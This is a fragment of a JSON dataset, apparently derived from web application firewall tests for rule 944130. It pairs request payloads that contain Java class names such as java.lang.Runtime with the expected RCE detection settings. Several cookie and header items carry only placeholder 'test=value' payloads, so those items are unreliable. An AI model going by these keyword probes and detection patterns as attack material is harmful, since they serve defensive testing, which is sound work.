[ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword java.lang.reflect" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword java.lang.reflect" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword java.lang.reflect" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.lang.reflect\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword java.lang.reflect" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.lang.reflect</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword java.lang.reflect" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">java.lang.reflect</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword java.lang.reflect" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.lang.reflect" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword java.lang.reflect" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"java.lang.reflect\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword java.lang.reflect" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"java.lang.reflect\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword java.lang.reflect" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.lang.Runtime" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword java.lang.Runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.lang.Runtime=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword java.lang.Runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword java.lang.Runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword java.lang.Runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword java.lang.Runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.lang.Runtime\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword java.lang.Runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.lang.Runtime</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword java.lang.Runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">java.lang.Runtime</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword java.lang.Runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.lang.Runtime" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword java.lang.Runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"java.lang.Runtime\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword java.lang.Runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"java.lang.Runtime\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword java.lang.Runtime" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.lang.String" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword java.lang.String" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.lang.String=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword java.lang.String" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword java.lang.String" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword java.lang.String" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword java.lang.String" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.lang.String\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword java.lang.String" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.lang.String</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword java.lang.String" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">java.lang.String</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword java.lang.String" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.lang.String" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword java.lang.String" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"java.lang.String\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword java.lang.String" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"java.lang.String\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword java.lang.String" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.lang.StringBuilder" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword java.lang.StringBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.lang.StringBuilder=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword 